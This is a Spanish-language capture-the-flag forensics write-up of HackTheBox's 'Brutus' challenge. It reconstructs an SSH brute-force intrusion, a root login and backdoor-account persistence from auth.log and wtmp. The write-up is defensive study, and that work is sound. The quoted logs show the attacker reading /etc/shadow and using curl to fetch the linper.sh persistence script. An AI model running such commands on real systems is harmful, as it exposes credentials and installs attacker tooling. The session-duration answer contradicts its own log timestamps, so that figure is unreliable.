

HTB Sherlock: Brutus	
Sistema Operativo:	Linux
Dificultad:	Very easy
Release:	04/04/2024
Tags	
<ul style="list-style-type: none"> ● Linux Forensics ● DFIR 	
Skills Learned	
<ul style="list-style-type: none"> ● Unix Log Analysis ● wtmp analysis ● BruteForce activity analysis ● Timeline creation ● Contextual Analysis ● Post Exploitation análisis 	

La resolución del reto *Brutus* de HackTheBox se enmarca en un ejercicio de **ciberseguridad defensiva** orientado a la identificación, análisis y neutralización de actividades hostiles en un sistema Linux comprometido. El desafío consistió en examinar de manera exhaustiva los registros de autenticación (*auth.log*) y el historial de sesiones (*wtmp*), con el propósito de reconstruir la cronología de los eventos, determinar la naturaleza del ataque y establecer las técnicas empleadas por el adversario.

El análisis permitió detectar un patrón reiterado de intentos fallidos de acceso remoto, característicos de un ataque de **fuerza bruta**, culminando en la obtención ilícita de credenciales privilegiadas. A partir de la correlación entre los ficheros de registro, se identificaron la dirección IP de origen, la cuenta comprometida, la marca temporal exacta de la intrusión y la duración de la sesión inicial. Asimismo, se constató la creación de un usuario adicional con privilegios elevados, acción que se corresponde con la técnica de persistencia **T1136.001 – Local Account** del marco **MITRE ATT&CK**, evidenciando la intención del atacante de mantener acceso prolongado al sistema.



Se nos ha facilitado un conjunto de registros de autenticación del sistema operativo Linux, junto con la salida correspondiente del fichero **WTMP**. Resulta pertinente inaugurar el análisis con una exposición preliminar acerca de la naturaleza de estos artefactos de registro, su finalidad en el ecosistema de seguridad del sistema y la tipología de campos e informaciones que habitualmente encapsulan.

Los **logs de autenticación** constituyen una fuente primaria de evidencia digital, en la medida en que documentan de manera cronológica los intentos de acceso, tanto legítimos como fallidos, a los distintos servicios del sistema. Su estudio permite reconstruir patrones de comportamiento, identificar anomalías y, en última instancia, inferir la existencia de posibles vectores de intrusión. Por su parte, el fichero **WTMP** conserva un historial persistente de sesiones iniciadas y terminadas, incluyendo la trazabilidad de usuarios, terminales y direcciones de origen, lo que lo convierte en un insumo esencial para la correlación forense y la detección de actividades sospechosas.

En consecuencia, la comprensión detallada de la semántica de estos registros —desde la estructura de sus campos hasta la pragmática de su interpretación— constituye el punto de partida indispensable para cualquier ejercicio de ciberseguridad defensiva orientado a la monitorización y neutralización de amenazas.

```
(administrador@kali)-[~/Descargas]
└$ sha256sum Brutus.zip
b90cf5392983cd5a8710f44b417d8aef5c6f99bb0e8f1a3c5d48945f7fa0e914 Brutus.zip

(administrador@kali)-[~/Descargas]
└$ unzip -l Brutus.zip
Archive: Brutus.zip
      Length      Date  Time    Name
-----  -----  ----- 
        43911  2024-03-06 11:47  auth.log
       11136  2024-03-06 11:47  wtmp
----- 
      55047
      2 files

(administrador@kali)-[~/Descargas]
└$ 
```

auth.log

El archivo **auth.log**, presente en sistemas operativos Linux y ubicado en la ruta convencional **/var/log/auth.log**, constituye un repositorio esencial de evidencias digitales en materia de seguridad. Su función primordial es registrar de manera exhaustiva todos los intentos de autenticación realizados sobre el sistema, tanto aquellos que culminan en éxito como los que resultan fallidos, así como las operaciones de cambio de usuario y otros eventos vinculados con los mecanismos de acceso. La relevancia de este fichero radica en que ofrece una visión panorámica y detallada de la actividad de autenticación, permitiendo identificar patrones de acceso inusuales, correlacionar comportamientos sospechosos y, en última instancia, inferir posibles intentos de intrusión.

Las entradas contenidas en **auth.log** se estructuran en torno a un conjunto de campos cuya interpretación resulta indispensable para el análisis forense y la monitorización defensiva. Cada registro incorpora, en primer lugar, la **marca temporal** que consigna la fecha y hora exacta en la que se produjo el evento, lo que posibilita la reconstrucción cronológica de la actividad. A continuación, se especifica el **nombre de host**, identificador del sistema en el que tuvo lugar la acción, y el **servicio o demonio** responsable de reportarla, siendo paradigmático el caso de **sshd** en el contexto de conexiones remotas mediante el protocolo SSH.

El registro incluye asimismo el **Process Identifier (PID)**, que permite vincular el evento con el proceso concreto en ejecución, aportando un nivel adicional de trazabilidad. El campo relativo al **usuario** señala la identidad implicada en el intento de autenticación, mientras que el estado de autenticación determina si la operación fue validada con éxito o denegada, constituyendo un indicador crítico para la detección de accesos no autorizados. En escenarios de conexión remota, se añade la **dirección IP o nombre de host del cliente**, dato que habilita la correlación con la procedencia geográfica o con posibles actores maliciosos. Finalmente, el **campo de mensaje** proporciona información detallada sobre el evento, incluyendo códigos de error específicos o descripciones adicionales que enriquecen la interpretación técnica del incidente.



En suma, el archivo auth.log se erige como un instrumento cardinal en la praxis de la ciberseguridad defensiva, al ofrecer un corpus de datos cuya correcta lectura y análisis permite anticipar amenazas, reforzar la postura de seguridad y garantizar la resiliencia del sistema frente a intentos de acceso indebido.

wtmp

El archivo wtmp, presente en sistemas Linux y ubicado en la ruta convencional `/var/log/wtmp`, constituye un registro histórico de los inicios y cierres de sesión de los usuarios. A diferencia de `auth.log`, que se centra en los eventos de autenticación inmediatos, `wtmp` conserva de manera persistente la cronología completa de las sesiones, incluyendo tanto el momento de inicio como el de finalización, así como la duración efectiva de cada una de ellas. Este carácter acumulativo lo convierte en un recurso indispensable para la realización de auditorías de seguridad y análisis forenses, al permitir rastrear la actividad de los usuarios a lo largo del tiempo y detectar comportamientos anómalos o patrones de uso sospechosos.

Cabe señalar que `wtmp` es un archivo binario, lo que implica que no puede ser leído directamente en texto plano como ocurre con `auth.log`. Para su interpretación se recurre a utilidades específicas, siendo `last` una de las más empleadas, ya que traduce la información binaria en un formato inteligible para el analista. A través de esta herramienta se obtiene un conjunto de campos cuya semántica resulta esencial para la correlación de eventos.

En primer lugar, se consigna el **nombre de usuario**, que identifica inequívocamente la cuenta que ha iniciado o cerrado sesión, permitiendo vincular la actividad registrada con una identidad concreta. Seguidamente, se especifica el **terminal o dispositivo tty** asociado a la sesión, dato que en el caso de accesos remotos suele reflejar detalles relativos a conexiones establecidas mediante protocolos como SSH o Telnet, aportando así información sobre el canal de comunicación empleado.

El registro incluye también la **dirección IP o nombre de host del cliente remoto**, lo que habilita la trazabilidad de la procedencia de la conexión y la posibilidad de correlacionar dicha información con indicadores de compromiso externos. A continuación, se documenta la **hora de inicio de sesión**, que marca el momento exacto en que el usuario accedió al sistema, y la **hora de cierre**, que señala cuándo la sesión fue terminada o interrumpida. La diferencia entre ambos valores se traduce en la duración de la sesión, métrica que resulta particularmente útil para identificar patrones de uso prolongado, accesos fugaces o comportamientos que se apartan de la norma.

En conjunto, el archivo `wtmp` proporciona un corpus de datos cuya correcta interpretación permite reconstruir la actividad histórica de los usuarios, facilitando tanto la detección de anomalías como la elaboración de informes de seguridad con un alto grado de precisión. Su análisis, complementado con otros registros del sistema, constituye una piedra angular en la praxis de la ciberseguridad defensiva y en la disciplina forense digital.



1) Analyzing the auth.log, can you identify the IP address used by the attacker to carry out a brute force attack?

Para dar respuesta a esta cuestión, se procedió a un examen minucioso del archivo **auth.log**, cuya semántica permite rastrear de manera cronológica los intentos de autenticación sobre el sistema. En el transcurso del análisis se evidenció una reiteración sistemática de accesos fallidos, todos ellos originados desde la dirección IP **65.2.161.68**. La recurrencia de estos intentos, carentes de validación exitosa, constituye un patrón inequívoco de ataque de fuerza bruta. En consecuencia, cabe concluir que la dirección IP empleada por el agente atacante para la ejecución de dicha técnica intrusiva corresponde a **65.2.161.68**.

```
Mar 6 00:31:39 ip-172-31-35-28 sshd[237]: Disconnected from invalid user server_adm 65.2.161.68 port 40084 [preauth]
Mar 6 06:31:37 ip-172-31-35-28 sshd[2399]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68 user=root
Mar 6 06:31:37 ip-172-31-35-28 sshd[2407]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68 user=root
Mar 6 06:31:37 ip-172-31-35-28 sshd[2409]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68 user=root
Mar 6 06:31:38 ip-172-31-35-28 sshd[2397]: Failed password for invalid user server_adm from 65.2.161.68 port 46698 ssh2
Mar 6 06:31:38 ip-172-31-35-28 sshd[2380]: Failed password for invalid user server_adm from 65.2.161.68 port 46710 ssh2
Mar 6 06:31:38 ip-172-31-35-28 sshd[2383]: Failed password for invalid user svc_account from 65.2.161.68 port 46722 ssh2
Mar 6 06:31:38 ip-172-31-35-28 sshd[2384]: Failed password for invalid user svc_account from 65.2.161.68 port 46732 ssh2
Mar 6 06:31:38 ip-172-31-35-28 sshd[2387]: Failed password for invalid user svc_account from 65.2.161.68 port 46742 ssh2
Mar 6 06:31:38 ip-172-31-35-28 sshd[2389]: Failed password for invalid user svc_account from 65.2.161.68 port 46744 ssh2
Mar 6 06:31:39 ip-172-31-35-28 sshd[2391]: Failed password for invalid user svc_account from 65.2.161.68 port 46750 ssh2
Mar 6 06:31:39 ip-172-31-35-28 sshd[2393]: Failed password for invalid user svc_account from 65.2.161.68 port 46774 ssh2
Mar 6 06:31:39 ip-172-31-35-28 sshd[2394]: Failed password for invalid user svc_account from 65.2.161.68 port 46786 ssh2
Mar 6 06:31:39 ip-172-31-35-28 sshd[2397]: Failed password for invalid user svc_account from 65.2.161.68 port 46814 ssh2
Mar 6 06:31:39 ip-172-31-35-28 sshd[2398]: Failed password for invalid user svc_account from 65.2.161.68 port 46840 ssh2
Mar 6 06:31:39 ip-172-31-35-28 sshd[2396]: Failed password for invalid user svc_account from 65.2.161.68 port 46880 ssh2
Mar 6 06:31:39 ip-172-31-35-28 sshd[2400]: Failed password for invalid user svc_account from 65.2.161.68 port 46854 ssh2
Mar 6 06:31:39 ip-172-31-35-28 sshd[2399]: Failed password for root from 65.2.161.68 port 46852 ssh2
Mar 6 06:31:39 ip-172-31-35-28 sshd[2407]: Failed password for root from 65.2.161.68 port 46876 ssh2
Mar 6 06:31:39 ip-172-31-35-28 sshd[2409]: Received disconnect from 65.2.161.68 port 46722:11: Bye Bye [preauth]
```

2) The brute force attempts were successful, and the attacker gained access to an account on the server. What is the username of this account?

El examen detallado del archivo **auth.log** revela una secuencia reiterada de intentos de autenticación fallidos, característicos de una estrategia de fuerza bruta. No obstante, entre dichos intentos se constata la existencia de una validación exitosa, lo que implica que el agente atacante logró franquear las barreras de acceso al sistema. La evidencia registrada permite inferir con claridad que la cuenta comprometida corresponde al usuario **root**, cuya obtención de credenciales confiere al adversario privilegios absolutos sobre el servidor y, por ende, un control total de la infraestructura comprometida.

```
Mar 6 06:31:37 ip-172-31-35-28 sshd[2377]: Disconnected from invalid user server_adm 65.2.161.68 port 46684 [preauth]
Mar 6 06:31:37 ip-172-31-35-28 sshd[2399]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68 user=root
Mar 6 06:31:37 ip-172-31-35-28 sshd[2407]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68 user=root
Mar 6 06:31:37 ip-172-31-35-28 sshd[2409]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68 user=root
Mar 6 06:31:38 ip-172-31-35-28 sshd[2397]: Failed password for invalid user server_adm from 65.2.161.68 port 46698 ssh2
Mar 6 06:31:38 ip-172-31-35-28 sshd[2380]: Failed password for invalid user server_adm from 65.2.161.68 port 46710 ssh2
Mar 6 06:31:38 ip-172-31-35-28 sshd[2383]: Failed password for invalid user svc_account from 65.2.161.68 port 46722 ssh2
Mar 6 06:31:38 ip-172-31-35-28 sshd[2384]: Failed password for invalid user svc_account from 65.2.161.68 port 46732 ssh2
Mar 6 06:31:38 ip-172-31-35-28 sshd[2387]: Failed password for invalid user svc_account from 65.2.161.68 port 46742 ssh2
Mar 6 06:31:38 ip-172-31-35-28 sshd[2389]: Failed password for invalid user svc_account from 65.2.161.68 port 46744 ssh2
Mar 6 06:31:39 ip-172-31-35-28 sshd[2391]: Failed password for invalid user svc_account from 65.2.161.68 port 46750 ssh2
Mar 6 06:31:39 ip-172-31-35-28 sshd[2393]: Failed password for invalid user svc_account from 65.2.161.68 port 46774 ssh2
Mar 6 06:31:39 ip-172-31-35-28 sshd[2394]: Failed password for invalid user svc_account from 65.2.161.68 port 46786 ssh2
Mar 6 06:31:39 ip-172-31-35-28 sshd[2397]: Failed password for invalid user svc_account from 65.2.161.68 port 46814 ssh2
Mar 6 06:31:39 ip-172-31-35-28 sshd[2398]: Failed password for invalid user svc_account from 65.2.161.68 port 46840 ssh2
Mar 6 06:31:39 ip-172-31-35-28 sshd[2396]: Failed password for invalid user svc_account from 65.2.161.68 port 46880 ssh2
Mar 6 06:31:39 ip-172-31-35-28 sshd[2400]: Failed password for invalid user svc_account from 65.2.161.68 port 46854 ssh2
Mar 6 06:31:39 ip-172-31-35-28 sshd[2399]: Failed password for root from 65.2.161.68 port 46852 ssh2
Mar 6 06:31:39 ip-172-31-35-28 sshd[2407]: Failed password for root from 65.2.161.68 port 46876 ssh2
Mar 6 06:31:39 ip-172-31-35-28 sshd[2409]: Received disconnect from 65.2.161.68 port 46722:11: Bye Bye [preauth]
Mar 6 06:31:39 ip-172-31-35-28 sshd[2383]: Disconnected from invalid user svc_account 65.2.161.68 port 46722 [preauth]
Mar 6 06:31:39 ip-172-31-35-28 sshd[2384]: Received disconnect from 65.2.161.68 port 46732:11: Bye Bye [preauth]
Mar 6 06:31:39 ip-172-31-35-28 sshd[2387]: Disconnected from invalid user svc_account 65.2.161.68 port 46732 [preauth]
Mar 6 06:31:39 ip-172-31-35-28 sshd[2409]: Failed password for root from 65.2.161.68 port 46890 ssh2
Mar 6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
```



3) Can you identify the timestamp when the attacker manually logged in to the server to carry out their objectives?

El análisis del archivo **auth.log** evidencia un inicio de sesión exitoso con privilegios de superusuario (**root**) registrado a las **06:32:44**. Sin embargo, esta marca temporal no refleja con absoluta precisión el momento en que la sesión quedó establecida en el sistema. Para obtener dicha precisión resulta imprescindible examinar el archivo **wtmp**, cuya naturaleza binaria y carácter histórico permiten reconstruir la cronología real de las sesiones. En este segundo registro se consigna el inicio de sesión a las **06:32:45**, es decir, un segundo después de lo indicado en **auth.log**.

La diferencia horaria entre ambos ficheros obedece a la distinta semántica de los registros: mientras **auth.log** documenta el evento de autenticación en el instante en que las credenciales son validadas por el servicio correspondiente (por ejemplo, **sshd**), **wtmp** refleja el momento en que la sesión interactiva queda efectivamente establecida en el sistema operativo. Dicho desfase temporal, aunque mínimo, es inherente a la secuencia de procesos que median entre la aceptación de credenciales y la apertura de la sesión, y constituye un fenómeno habitual en la correlación de evidencias digitales.

```
Mar 6 06:31:42 ip-172-31-35-28 sshd[2409]: Connection closed by authenticating user root 65.2.161.68 port 46890 [preauth]
Mar 6 06:31:42 ip-172-31-35-28 sshd[2409]: PAM 1 more authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68 us
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar 6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Mar 6 06:35:01 ip-172-31-35-28 CRON[2614]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)
Mar 6 06:35:01 ip-172-31-35-28 CRON[2614]: pam_unix(cron:session): session closed for user root
Mar 6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184
Mar 6 06:37:24 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session closed for user root
Mar 6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Mar 6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar 6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
Mar 6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.git
Mar 6 06:39:38 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar 6 06:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
```

Por tanto, puede afirmarse que la hora exacta en la que el atacante accedió de manera manual al servidor para ejecutar sus objetivos corresponde a las **06:32:45**, tal y como queda registrado en **wtmp**.

```
└── (administrador㉿kali)-[~/Descargas/Brutus]
$ utmpdump wtmp
Utmp dump of wtmp
[2] [00000] [~~ ] [reboot ] [~] [6.2.0-1017-aws ] [0.0.0.0 ] [2024-01-25T11:12:17,804944+00:00]
[5] [00601] [tty0] [~] [ttyS0 ] [~] [0.0.0.0 ] [2024-01-25T11:12:31,072401+00:00]
[6] [00601] [tty0] [LOGIN ] [ttyS0 ] [~] [0.0.0.0 ] [2024-01-25T11:12:31,072401+00:00]
[5] [00618] [tty1] [~] [tty1 ] [~] [0.0.0.0 ] [2024-01-25T11:12:31,080342+00:00]
[6] [00618] [tty1] [LOGIN ] [tty1 ] [~] [0.0.0.0 ] [2024-01-25T11:12:31,080342+00:00]
[1] [00053] [~~ ] [runlevel] [~] [6.2.0-1017-aws ] [0.0.0.0 ] [2024-01-25T11:12:33,792454+00:00]
[7] [01284] [ts/0] [ubuntu ] [pts/0 ] [203.101.190.9 ] [2024-01-25T11:13:58,354674+00:00]
[8] [01284] [~] [~] [pts/0 ] [~] [0.0.0.0 ] [2024-01-25T11:15:12,956114+00:00]
[7] [01483] [ts/0] [root ] [pts/0 ] [203.101.190.9 ] [2024-01-25T11:15:40,806926+00:00]
[8] [01404] [~] [~] [pts/0 ] [~] [0.0.0.0 ] [2024-01-25T12:34:34,949753+00:00]
[7] [836798] [ts/0] [root ] [pts/0 ] [203.101.190.9 ] [2024-02-11T10:33:49,406334+00:00]
[5] [838568] [tty0] [~] [ttyS0 ] [~] [0.0.0.0 ] [2024-02-11T10:39:02,172417+00:00]
[6] [838568] [tty0] [LOGIN ] [ttyS0 ] [~] [0.0.0.0 ] [2024-02-11T10:39:02,172417+00:00]
[7] [838962] [ts/1] [root ] [pts/1 ] [203.101.190.9 ] [2024-02-11T10:41:11,700107+00:00]
[8] [838896] [~] [~] [pts/1 ] [~] [0.0.0.0 ] [2024-02-11T10:41:46,272984+00:00]
[7] [842171] [ts/1] [root ] [pts/1 ] [203.101.190.9 ] [2024-02-11T10:54:27,775434+00:00]
[8] [842073] [~] [~] [pts/1 ] [~] [0.0.0.0 ] [2024-02-11T11:08:04,760514+00:00]
[8] [836694] [~] [~] [pts/0 ] [~] [0.0.0.0 ] [2024-02-11T11:08:04,769963+00:00]
[1] [00000] [~~ ] [shutdown] [~] [6.2.0-1017-aws ] [0.0.0.0 ] [2024-02-11T11:09:18,000731+00:00]
[2] [00000] [~~ ] [reboot ] [~] [6.2.0-1018-aws ] [0.0.0.0 ] [2024-03-06T06:17:15,744575+00:00]
[5] [00464] [tty0] [~] [ttyS0 ] [~] [0.0.0.0 ] [2024-03-06T06:17:27,354378+00:00]
[6] [00464] [tty0] [LOGIN ] [ttyS0 ] [~] [0.0.0.0 ] [2024-03-06T06:17:27,354378+00:00]
[5] [00505] [tty1] [~] [tty1 ] [~] [0.0.0.0 ] [2024-03-06T06:17:27,469940+00:00]
[6] [00505] [tty1] [LOGIN ] [tty1 ] [~] [0.0.0.0 ] [2024-03-06T06:17:27,469940+00:00]
[1] [00053] [~~ ] [runlevel] [~] [6.2.0-1018-aws ] [0.0.0.0 ] [2024-03-06T06:17:29,538024+00:00]
[7] [01583] [ts/0] [root ] [pts/0 ] [203.101.190.9 ] [2024-03-06T06:19:55,151913+00:00]
[7] [02549] [ts/1] [root ] [pts/1 ] [65.2.161.68 ] [2024-03-06T06:32:45,387923+00:00]
[8] [02491] [~] [~] [pts/1 ] [~] [0.0.0.0 ] [2024-03-06T06:37:24,500579+00:00]
[7] [02667] [ts/1] [cyberjunkie] [pts/1 ] [65.2.161.68 ] [2024-03-06T06:37:35,475575+00:00]
```

4) SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker's session for the user account from Question 2?

La gestión de sesiones en el protocolo **SSH** implica la asignación automática de un identificador numérico a cada inicio de sesión, lo que permite distinguir y rastrear de manera inequívoca las conexiones establecidas. En el caso que nos ocupa, el análisis de los registros evidencia que la sesión correspondiente al acceso ilícito efectuado mediante la cuenta de superusuario **root** fue etiquetada con el número de sesión **37**. Esta correlación se deduce de la observación detallada de los registros previamente examinados en la tercera cuestión, donde la cronología y los metadatos asociados permiten vincular de forma precisa dicho identificador con la actividad del atacante.



5) The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?

El archivo **auth.log** constituye la fuente primaria para responder a esta cuestión, dado que en él se registran los eventos asociados a la creación de nuevas cuentas de usuario. Al aplicar un filtrado semántico sobre las entradas que contienen la expresión “*new user*”, se evidencia la incorporación de una cuenta adicional al sistema, acción que responde a una estrategia de persistencia por parte del atacante. El análisis revela que la identidad creada corresponde al usuario **cyberjunkie**, al cual se le otorgaron privilegios elevados con el propósito de garantizar un acceso continuado y privilegiado al servidor comprometido.

```
(administrador@kali)-[~/Descargas/Brutus]
$ cat auth.log | grep "new user"
Mar 6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1
(administrador@kali)-[~/Descargas/Brutus]
$
```

6) What is the MITRE ATT&CK sub-technique ID used for persistence?

La técnica **T1136 – Create Account** dentro del marco **MITRE ATT&CK** se inscribe en la táctica de *Persistence* (TA0003). Su esencia radica en la creación de nuevas cuentas de usuario en sistemas comprometidos, con el objetivo de garantizar un acceso duradero sin necesidad de recurrir a herramientas externas de control remoto. Esta práctica otorga al adversario un vector de acceso legítimo, difícil de distinguir de la administración ordinaria, lo que reduce la probabilidad de detección. Dentro de esta técnica se distinguen varias **subtécnicas**:

- **T1136.001 – Local Account:** el atacante crea o manipula cuentas locales en el sistema comprometido. En Linux, por ejemplo, puede emplearse el comando useradd, mientras que en Windows es habitual el uso de net user /add. Estas cuentas pueden integrarse en grupos privilegiados, como *administradores* o *sudoers*, lo que confiere al adversario capacidad de escalada de privilegios y persistencia.
- **T1136.002 – Domain Account:** orientada a entornos corporativos con Active Directory, donde la creación de cuentas de dominio permite al atacante moverse lateralmente y mantener acceso en múltiples sistemas.
- **T1136.003 – Cloud Account:** aplicable a infraestructuras en la nube, donde la creación de identidades en tenants o servicios específicos otorga persistencia con un bajo perfil de detección.



En el caso analizado, la evidencia apunta a la creación de un usuario denominado **cyberjunkie**, con privilegios elevados. Este comportamiento se alinea con la sub-técnica **T1136.001 – Local Account**, dado que se trata de un sistema Linux en el que se ha añadido un usuario local con capacidad administrativa.



La relevancia de esta técnica radica en que **no depende de malware residente ni de procesos ocultos**, sino de la manipulación de mecanismos legítimos del sistema operativo. Por ello, constituye una forma de persistencia particularmente insidiosa, pues se camufla entre las operaciones habituales de gestión de cuentas.

The screenshot shows the MITRE ATT&CK website with the URL https://attack.mitre.org/techniques/T1136/. The page title is 'Create Account'. On the left, there's a sidebar with a tree view of techniques. The main content area shows a table of sub-techniques:

ID	Name
T1136.001	Local Account
T1136.002	Domain Account
T1136.003	Cloud Account

Below the table, there are two sections of descriptive text and a sidebar with details about the technique:

- Adversaries may create an account to maintain access to victim systems.** With a sufficient level of access, creating such accounts may be used to establish secondary credentialled access that do not require persistent remote access tools to be deployed on the system.
- Accounts may be created on the local system or within a domain or cloud tenant.** In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.

Details sidebar:

- ID:** T1136
- Sub-techniques:** T1136.001, T1136.002, T1136.003
- Tactic:** Persistence
- Platforms:** Azure AD, Containers, Google Workspace, IaaS, Linux, Network, Office 365, SaaS, Windows, macOS
- Contributors:** Austin Clark, @c2defense, Microsoft Threat Intelligence Center (MSTIC), Praetorian
- Version:** 2.4
- Created:** 14 December 2017
- Last Modified:** 31 January 2024

[Version Permalink](#)

7) How long did the attacker's first SSH session last based on the previously confirmed authentication time and session ending within the auth.log? (seconds)

El análisis correlacionado de los registros **auth.log** y **wtmp** permite establecer con precisión la duración de la primera sesión SSH iniciada por el atacante bajo la cuenta de superusuario **root**. La evidencia muestra que la autenticación se validó a las **06:32:45**, mientras que la desconexión quedó registrada a las **06:37:44**. La diferencia entre ambas marcas temporales asciende a **4 minutos y 59 segundos**, lo que equivale a un total de **279 segundos** de actividad continua en el sistema.

Este intervalo temporal, aunque relativamente breve, resulta significativo en términos forenses, pues refleja el lapso durante el cual el adversario pudo ejecutar acciones iniciales de reconocimiento y establecer mecanismos de persistencia. La precisión en el cálculo de la duración se fundamenta en la lectura cronológica de los registros, cuya semántica distingue entre el momento de validación de credenciales y el cierre efectivo de la sesión interactiva.

```
Mar 6 06:31:42 ip-172-31-35-28 sshd[2409]: Connection closed by authenticating user root 65.2.161.68 port 46890 [preauth]
Mar 6 06:31:42 ip-172-31-35-28 sshd[2409]: PAM 1 more authentication failure; logname= uid=0 euid=0 tty:ssh ruser= rhost=65.2.161.68 us
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
Mar 6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
Mar 6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
Mar 6 06:35:01 ip-172-31-35-28 CRON[2614]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)
Mar 6 06:35:01 ip-172-31-35-28 CRON[2614]: pam_unix(cron:session): session closed for user root
Mar 6 06:35:01 ip-172-31-35-28 CRON[2614]: pam_unix(cron:session): session closed for user root
Mar 6 06:37:24 ip-172-31-35-28 sshd[2491]: Disconnected from user root 65.2.161.68 port 53184
Mar 6 06:37:24 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session closed for user root
Mar 6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
Mar 6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar 6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
Mar 6 06:39:38 ip-172-31-35-28 sudo: cyberjunkie : TTY pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/curl https://raw.git
Mar 6 06:39:38 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar 6 06:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
```

8) The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?

El análisis de los registros evidencia que, tras la creación de la cuenta de persistencia, el atacante procedió a autenticarla y a escalar sus privilegios mediante el uso de **sudo**, con el fin de ejecutar acciones de carácter administrativo. Entre dichas acciones se encuentra la lectura del archivo **/etc/shadow**, operación que le permitió acceder a las credenciales cifradas de los usuarios del sistema, y la posterior descarga de un script externo.



La secuencia de comandos ejecutada por el adversario fue la siguiente:

/usr/bin/curl http://raw.githubusercontent.com/montysecurity/linper/main/linper.sh

```
Mar 6 06:38:01 ip-172-31-35-28 CRON[2751]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:39:01 ip-172-31-35-28 CRON[2765]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:39:01 ip-172-31-35-28 CRON[2764]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:39:01 ip-172-31-35-28 CRON[2765]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:39:01 ip-172-31-35-28 CRON[2764]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:39:38 ip-172-31-35-28 CRON[2764]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:39:38 ip-172-31-35-28 CRON[2764]: pam_unix(cron:session): session closed for user confluence
Mar 6 06:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
Mar 6 06:39:39 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
Mar 6 06:40:01 ip-172-31-35-28 CRON[2783]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
Mar 6 06:40:01 ip-172-31-35-28 CRON[2784]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
```

Este comando, invocado con privilegios elevados, permitió transferir desde un repositorio público el script **linper.sh**, el cual constituye un artefacto potencialmente malicioso orientado a la post-exploitación y al refuerzo de la persistencia en el servidor comprometido. La acción descrita pone de manifiesto la capacidad del atacante para combinar técnicas de escalada de privilegios con la introducción de código externo, consolidando así su control sobre el sistema.

